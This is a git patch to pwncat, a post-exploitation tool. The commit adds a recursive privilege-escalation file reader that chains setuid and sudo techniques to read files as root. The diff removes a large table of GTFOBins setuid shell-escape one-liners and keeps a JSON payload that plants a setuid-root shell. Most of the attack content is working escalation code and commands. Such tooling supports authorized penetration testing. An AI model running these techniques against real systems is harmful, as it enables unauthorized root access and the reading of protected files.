From 3b7bf075d5b1029625bb8f236d9eaba0f7832c5d Mon Sep 17 00:00:00 2001 From: John Hammond Date: Sat, 9 May 2020 17:05:18 -0400 Subject: [PATCH] Added privesc read capability! Only somewhat tested... --- data/gtfobins.json | 4 ++ pwncat/file.py | 21 -------- pwncat/gtfobins.py | 48 ++++++++++++++++- pwncat/privesc/__init__.py | 89 ++++++++++++++++++++++++++++++- pwncat/privesc/base.py | 16 +++++- pwncat/privesc/setuid.py | 96 +++++++++------------------------ pwncat/privesc/sudo.py | 9 +++- pwncat/pty.py | 19 +++++++ pwncat/reader/__init__.py | 63 ++++++++++++++++++++++ pwncat/reader/base.py | 59 +++++++++++++++++++++ pwncat/reader/cat.py | 105 +++++++++++++++++++++++++++++++++++++ 11 files changed, 430 insertions(+), 99 deletions(-) create mode 100644 pwncat/reader/__init__.py create mode 100644 pwncat/reader/base.py create mode 100644 pwncat/reader/cat.py diff --git a/data/gtfobins.json b/data/gtfobins.json index 0ae65f1..472364a 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -34,5 +34,9 @@ "script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p", "need": ["--on-download-error=$TF","http://x"] } + }, + { + "name": "cat", + "read_file": "{path} {lfile}" } ] diff --git a/pwncat/file.py b/pwncat/file.py index 6ae3eb6..d2e311a 100644 --- a/pwncat/file.py +++ b/pwncat/file.py @@ -42,27 +42,6 @@ class RemoteBinaryPipe(RawIOBase): # Cleanup self.on_eof() - # def read(self, size: int = -1): - # if self.eof == -1: - # self.on_eof() - - # if self.eof: - # return b"" - - # if size == -1: - # data = b"" - # while self.delim not in data: - # data += self.pty.client.recv(1024 * 1024) - # data = data.split(self.delim)[0] - # self.eof = -1 - # else: - # data = self.pty.client.recv(size) - # if self.delim in data: - # self.eof = -1 - # data = data.split(self.delim)[0] - - # return data - def readinto(self, b: bytearray): if self.eof: return 0 diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index a46c702..7c10be4 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -7,11 +7,21 @@ import shlex import json import os +from pwncat.privesc import Capability + class SudoNotPossible(Exception): """ Running the given binary to get a sudo shell is not possible """ +class FileReadNotPossible(Exception): + """ Running the given binary to get a sudo shell is not possible """ + + +class FileWriteNotPossible(Exception): + """ Running the given binary to get a sudo shell is not possible """ + + class Binary: _binaries: List[Dict[str, Any]] = [] @@ -22,6 +32,18 @@ class Binary: self.data = data self.path = path + self.capabilities = 0 + if self.has_read_file: + self.capabilities |= Capability.READ + if self.has_shell: + self.capabilities |= Capability.SHELL + if self.has_write_file: + self.capabilities |= Capability.WRITE + + # We need to fix this later...? + if self.has_shell: + self.capabilities |= Capability.SUDO + def shell( self, shell_path: str, @@ -261,7 +283,7 @@ class Binary: cls._binaries = json.load(filp) @classmethod - def find(cls, path: str, name: str = None) -> "Binary": + def find(cls, path: str = None, name: str = None,) -> "Binary": """ Locate the given gtfobin and return the Binary object. If name is not given, it is assumed to be the basename of the path. """ @@ -274,6 +296,30 @@ class Binary: return None + @classmethod + def find_capability( + cls, which: Callable[[str], str], capability: int = Capability.ALL + ) -> "Binary": + """ Locate the given gtfobin and return the Binary object. If name is + not given, it is assumed to be the basename of the path. """ + + for data in cls._binaries: + path = which(data["name"]) + if path is None: + continue + + binary = Binary(path, data) + if not binary.has_read and (capability & Capability.READ): + continue + if not binary.has_write and (capability & Capability.WRITE): + continue + if not binary.has_sudo and (capability & Capability.SUDO): + continue + if not binary.has_shell and (capability & Capability.SHELL): + continue + + return binary + @classmethod def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary": """ Locate a GTFObin binary for the given sudo spec. This will separate diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 71bb342..8a547df 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 from typing import Type, List, Tuple -from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod +from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability from pwncat.privesc.setuid import SetuidMethod from pwncat.privesc.sudo import SudoMethod @@ -49,6 +49,81 @@ class Finder: return techniques + def read_file( + self, + filename: str, + target_user: str = None, + depth: int = None, + chain: List[Technique] = [], + starting_user=None, + ): + + if target_user is None: + target_user = "root" + + current_user = self.pty.current_user + if ( + target_user == current_user["name"] + or current_user["uid"] == 0 + or current_user["name"] == "root" + ): + binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) + if binary is None: + raise PrivescError("no binaries to read with") + + return self.pty.subprocess(binary.read_file(filename)), chain + + if starting_user is None: + starting_user = current_user + + if depth is not None and len(chain) > depth: + raise PrivescError("max depth reached") + + # Enumerate escalation options for this user + techniques = [] + for method in self.methods: + try: + found_techniques = method.enumerate(capability=Capability.ALL) + for tech in found_techniques: + + if tech.user == target_user and ( + tech.capabilities & Capability.READ + ): + try: + read_pipe = tech.method.read_file(filename, tech) + + return (read_pipe, chain) + except PrivescError as e: + pass + techniques.extend(found_techniques) + except PrivescError: + pass + + # We can't escalate directly to the target to read a file. So, try recursively + # against other users. + for tech in techniques: + if tech.user == target_user: + continue + try: + exit_command = self.escalate_single(tech) + chain.append((tech, exit_command)) + except PrivescError: + continue + try: + return self.read_file( + filename, target_user, depth, chain, starting_user + ) + except PrivescError: + tech, exit_command = chain[-1] + self.pty.run(exit_command, wait=False) + chain.pop() + + raise PrivescError(f"no route to {target_user} found") + + def escalate_single(self, technique: Technique) -> str: + self.pty.run("echo") # restabilize shell + return technique.method.execute(tech) + def escalate( self, target_user: str = None, @@ -80,7 +155,9 @@ class Finder: techniques = [] for method in self.methods: try: - found_techniques = method.enumerate() + found_techniques = method.enumerate( + capability=Capability.SHELL | Capability.SUDO + ) for tech in found_techniques: if tech.user == target_user: try: @@ -113,3 +190,11 @@ class Finder: chain.pop() raise PrivescError(f"no route to {target_user} found") + + def unwrap(self, techniques: List[Tuple[Technique, str]]): + # Work backwards to get back to the original shell + for technique, exit in reversed(techniques): + self.pty.run(exit, wait=False) + + # Reset the terminal to get to a sane prompt + self.pty.reset() diff --git a/pwncat/privesc/base.py b/pwncat/privesc/base.py index b135731..6c345ae 100644 --- a/pwncat/privesc/base.py +++ b/pwncat/privesc/base.py @@ -8,6 +8,16 @@ import os from pwncat import util +from enum import Enum + + +class Capability: + READ = 1 + WRITE = 2 + SHELL = 4 + SUDO = 8 + ALL = READ | WRITE | SHELL | SUDO + class PrivescError(Exception): """ An error occurred while attempting a privesc technique """ @@ -22,6 +32,8 @@ class Technique: # The unique identifier for this method (can be anything, specific to the # method) ident: Any + # The GTFObins capabilities required for this technique to work + capabilities: int def __str__(self): return self.method.get_name(self) @@ -43,7 +55,7 @@ class Method: def __init__(self, pty: "pwncat.pty.PtyHandler"): self.pty = pty - def enumerate(self) -> List[Technique]: + def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate all possible escalations to the given users """ raise NotImplementedError("no enumerate method implemented") @@ -64,7 +76,7 @@ class SuMethod(Method): name = "su" BINARIES = ["su"] - def enumerate(self) -> List[Technique]: + def enumerate(self, capability=Capability.ALL) -> List[Technique]: result = [] current_user = self.pty.whoami() diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index a878571..b56a93e 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -6,76 +6,12 @@ from time import sleep import os from colorama import Fore, Style -from pwncat.util import info, success, error, progress, warn -from pwncat.privesc.base import Method, PrivescError, Technique -from pwncat import gtfobins +import io -# https://gtfobins.github.io/#+suid -known_setuid_privescs = { - "env": ("{} /bin/bash -p", "exit"), - "bash": ("{} -p", "exit"), - "chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"), - "chroot": ("{} / /bin/bash -p", "exit"), - "dash": ("{} -p", "exit"), - "ash": ("{}", "exit"), - "docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"), - "emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"), - "find": ("{} . -exec /bin/sh -p \\; -quit", "exit"), - "flock": ("{} -u / /bin/sh -p", "exit"), - "gdb": ( - """{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""", - "exit", - ), - "logsave": ("{} /dev/null /bin/bash -i -p", "exit"), - "make": ( - "COMMAND='/bin/sh -p'", - """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""", - "exit", - ), - "nice": ("{} /bin/bash -p", "exit"), - "node": ( - """{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""", - "exit", - ), - "nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"), - "perl": ("""{} -e 'exec "/bin/sh";'""", "exit"), - "php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"), - "python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"), - "rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"), - "rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"), - "rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"), - "rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"), - "run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"), - "rvim": ( - """{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""", - "exit", - ), - "setarch": ("""{} $(arch) /bin/sh -p""", "exit"), - "start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"), - "strace": ("""{} -o /dev/null /bin/sh -p""", "exit"), - "tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"), - "tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"), - "taskset": ("""{} 1 /bin/sh -p""", "exit"), - "time": ("""{} /bin/sh -p""", "exit"), - "timeout": ("""{} 7d /bin/sh -p""", "exit"), - "unshare": ("""{} -r /bin/sh""", "exit"), - "vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"), - "watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"), - "zsh": ("""{}""", "exit"), - # need to add in cp trick to overwrite /etc/passwd - # need to add in curl trick to overwrite /etc/passwd - # need to add in wget trick to overwrite /etc/passwd - # need to add in dd trick to overwrite /etc/passwd - # need to add in openssl trick to overwrite /etc/passwd - # need to add in sed trick to overwrite /etc/passwd - # need to add in shuf trick to overwrite /etc/passwd - # need to add in systemctl trick to overwrite /etc/passwd - # need to add in tee trick to overwrite /etc/passwd - # need to add in wget trick to overwrite /etc/passwd - # need to add in nano trick but requires Control+R Control+X keys - # need to add in pico trick but requires Control+R Control+X keys - # b"/bin/nano": ["/bin/nano", "\x12\x18reset; sh -p 1>&0 2>&0"], -} +from pwncat.util import info, success, error, progress, warn +from pwncat.privesc.base import Method, PrivescError, Technique, Capability +from pwncat import gtfobins +from pwncat.file import RemoteBinaryPipe class SetuidMethod(Method): @@ -114,17 +50,24 @@ class SetuidMethod(Method): self.suid_paths[user] = [] self.suid_paths[user].append(path) - def enumerate(self) -> List[Technique]: + def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ if self.suid_paths is None: self.find_suid() - + known_techniques = [] for user, paths in self.suid_paths.items(): for path in paths: binary = gtfobins.Binary.find(path) if binary is not None: - yield Technique(user, self, binary) + if (capability & binary.capabilities) == 0: + continue + + known_techniques.append( + Technique(user, self, binary, binary.capabilities) + ) + + return known_techniques def execute(self, technique: Technique): """ Run the specified technique """ @@ -165,5 +108,14 @@ class SetuidMethod(Method): raise PrivescError(f"escalation failed for {technique}") + def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: + binary = technique.ident + read_payload = binary.read_file(filepath) + + # read_pipe = self.pty.subprocess(read_payload) + read_pipe = io.BytesIO(self.pty.run(read_payload)) + + return read_pipe + def get_name(self, tech: Technique): return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})" diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 35060bd..35f47a6 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -12,6 +12,7 @@ from pwncat.privesc.base import Method, PrivescError, Technique from pwncat.pysudoers import Sudoers from pwncat import gtfobins +from pwncat.privesc import Capability class SudoMethod(Method): @@ -108,7 +109,7 @@ class SudoMethod(Method): return sudoers.rules - def enumerate(self) -> List[Technique]: + def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ info(f"checking {Fore.YELLOW}sudo -l{Fore.RESET} output", overlay=True) @@ -194,6 +195,10 @@ class SudoMethod(Method): # No GTFObins possible with this sudo spec continue + # If this binary cannot sudo, don't bother with it + if not (binary.capabilities & Capability.SUDO): + continue + if sudo_privesc["run_as_user"] == "ALL": # add a technique for root techniques.append( @@ -201,6 +206,7 @@ class SudoMethod(Method): "root", self, (binary, sudo_privesc["command"], sudo_privesc["password"]), + binary.capabilities, ) ) else: @@ -211,6 +217,7 @@ class SudoMethod(Method): u, self, (binary, sudo_privesc["command"], sudo_privesc["password"]), + binary.capabilities, ) ) diff --git a/pwncat/pty.py b/pwncat/pty.py index fb88b5f..262f558 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -524,6 +524,13 @@ class PtyHandler: default=None, help="Maximum depth for the privesc search (default: no maximum)", ) + parser.add_argument( + "--read", + "-r", + type=str, + default=None, + help="remote filename to try and read", + ) try: args = parser.parse_args(argv) @@ -538,6 +545,18 @@ class PtyHandler: else: for tech in techniques: util.info(f"escalation to {tech}") + elif args.read: + try: + read_pipe, chain = self.privesc.read_file( + args.read, args.user, args.depth + ) + sys.stdout.buffer.write(read_pipe.read(4096)) + read_pipe.close() + + self.privesc.unwrap(chain) + + except privesc.PrivescError as exc: + util.error(f"read file failed: {exc}") else: try: self.privesc.escalate(args.user, args.depth) diff --git a/pwncat/reader/__init__.py b/pwncat/reader/__init__.py new file mode 100644 index 0000000..431f59e --- /dev/null +++ b/pwncat/reader/__init__.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +from typing import Type, List, Tuple + +from pwncat.reader.base import Method, ReaderError, Technique +from pwncat.reader.cat import CatMethod + + +reader_methods = [CatMethod] + + +class Reader: + """ Locate a privesc chain which ends with the given user. If `depth` is + supplied, stop searching at `depth` techniques. If `depth` is not supplied + or is negative, search until all techniques are exhausted or a chain is + found. If `user` is not provided, depth is forced to `1`, and all methods + to privesc to that user are returned. """ + + def __init__(self, pty: "pwncat.pty.PtyHandler"): + """ Create a new privesc finder """ + + self.pty = pty + + self.methods: List[Method] = [] + for m in reader_methods: + try: + m.check(self.pty) + self.methods.append(m(self.pty)) + except ReaderError: + pass + + def search(self, filename: str) -> List[Technique]: + """ Search for reader techniques.""" + + techniques = [] + for method in self.methods: + try: + techniques.extend(method.enumerate(filename)) + except ReaderError: + pass + + return techniques + + def read(self, filename: str,) -> str: + """ Read a file using any known techniques """ + + # Enumerate escalation options for this user + techniques = [] + for method in self.methods: + try: + found_techniques = method.enumerate(filename) + for tech in found_techniques: + + try: + filecontents = tech.method.execute(tech) + return filecontents + except ReaderError: + return None + + techniques.extend(found_techniques) + except ReaderError: + pass + + raise ReaderError(f"failed to read {filename}") diff --git a/pwncat/reader/base.py b/pwncat/reader/base.py new file mode 100644 index 0000000..824233b --- /dev/null +++ b/pwncat/reader/base.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable, List, Any +from dataclasses import dataclass +from colorama import Fore +import threading +import socket +import os + +from pwncat import util + + +class ReaderError(Exception): + """ An error occurred while attempting a privesc technique """ + + +@dataclass +class Technique: + # The user that this technique will move to + filename: str + # The method that will be used + method: "Method" + # The unique identifier for this method (can be anything, specific to the + # method) + ident: Any + + def __str__(self): + return self.method.get_name(self) + + +class Method: + + # Binaries which are needed on the remote host for this file read functionality + name = "unknown" + BINARIES = [] + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Check if the given PTY connection can support this privesc """ + for binary in cls.BINARIES: + if pty.which(binary) is None: + raise ReaderError(f"required remote binary not found: {binary}") + + def __init__(self, pty: "pwncat.pty.PtyHandler"): + self.pty = pty + + def enumerate(self) -> List[Technique]: + """ Enumerate all possible escalations to the given users """ + raise NotImplementedError("no enumerate method implemented") + + def execute(self, technique: Technique): + """ Execute the given technique to move laterally to the given user. + Raise a PrivescError if there was a problem. """ + raise NotImplementedError("no execute method implemented") + + def get_name(self, tech: Technique): + return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}" + + def __str__(self): + return self.name diff --git a/pwncat/reader/cat.py b/pwncat/reader/cat.py new file mode 100644 index 0000000..18da6d4 --- /dev/null +++ b/pwncat/reader/cat.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python3 + +from typing import Generator, List +import shlex +import sys +from time import sleep +import os +from colorama import Fore, Style + +from pwncat.util import info, success, error, progress, warn +from pwncat.reader.base import Method, ReaderError, Technique +from pwncat import gtfobins + + +class CatMethod(Method): + + name = "cat" + BINARIES = ["cat"] + + def __init__(self, pty: "pwncat.pty.PtyHandler"): + super(CatMethod, self).__init__(pty) + + # self.suid_paths = None + + # def find_suid(self): + + # # Spawn a find command to locate the setuid binaries + # delim = self.pty.process("find / -perm -4000 -print 2>/dev/null") + # files = [] + # self.suid_paths = {} + + # while True: + # path = self.pty.recvuntil(b"\n").strip() + # progress("searching for setuid binaries") + + # if delim in path: + # break + + # files.append(path.decode("utf-8")) + + # for path in files: + # user = ( + # self.pty.run(f"stat -c '%U' {shlex.quote(path)}") + # .strip() + # .decode("utf-8") + # ) + # if user not in self.suid_paths: + # self.suid_paths[user] = [] + # self.suid_paths[user].append(path) + + def enumerate(self, filename: str) -> List[Technique]: + """ Find all techniques known at this time """ + + # if self.suid_paths is None: + # self.find_suid() + + binary = self.BINARIES[0] + + yield Technique(filename, self, binary) + + # for user, paths in self.suid_paths.items(): + # for path in paths: + # binary = gtfobins.Binary.find(path) + # if binary is not None: + + def execute(self, technique: Technique): + """ Run the specified technique """ + + filename = technique.filename + binary = technique.ident + # enter, exit = binary.shell("/bin/bash") + + info( + f"attempting read {Fore.YELLOW}{Style.BRIGHT}{filename}{Style.RESET_ALL} with {Fore.GREEN}{Style.BRIGHT}{binary}{Style.RESET_ALL}", + ) + + # before_shell_level = self.pty.run("echo $SHLVL").strip() + # before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0 + + # Run the start commands + delim = self.pty.process(f"{binary} {filename}", delim=True) + + content = self.pty.recvuntil(delim).split(delim)[0] + # print(content) + + return content + # sleep(0.1) + # user = self.pty.run("whoami").strip().decode("utf-8") + # if user == technique.user: + # success("privesc succeeded") + # return exit + # else: + # error(f"privesc failed (still {user} looking for {technique.user})") + # after_shell_level = self.pty.run("echo $SHLVL").strip() + # after_shell_level = ( + # int(after_shell_level) if after_shell_level != b"" else 0 + # ) + # if after_shell_level > before_shell_level: + # info("exiting spawned inner shell") + # self.pty.run(exit, wait=False) # here be dragons + + # raise PrivescError(f"escalation failed for {technique}") + + def get_name(self, tech: Technique): + return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.CYAN}{tech.ident}{Fore.RESET} ({Fore.RED}cat{Fore.RESET})"